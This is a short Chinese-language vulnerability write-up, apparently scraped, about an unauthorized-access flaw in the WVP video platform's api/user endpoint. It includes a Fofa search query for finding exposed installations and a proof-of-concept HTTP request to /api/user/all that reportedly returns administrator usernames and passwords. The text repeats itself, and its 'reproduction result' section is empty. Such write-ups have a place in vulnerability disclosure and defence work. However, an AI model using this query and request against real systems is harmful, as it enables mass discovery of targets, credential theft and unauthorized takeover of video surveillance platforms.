漏洞描述:
WVP视频平台api/user存在未授权访问漏洞,攻击者可利用漏洞获取当前系统管理员用户名及密码进行登录系统。
搜索语法:
Fofa-Query: body="国标28181"
漏洞详情:
1.WVP视频平台。
2.POC:
GET /api/user/all HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
3.漏洞复现结果。
WVP视频平台api/user存在未授权访问漏洞,攻击者可利用漏洞获取当前系统管理员用户名及密码进行登录系统。
Fofa-Query: body="国标28181"
1.WVP视频平台。
2.POC:
GET /api/user/all HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
3.漏洞复现结果。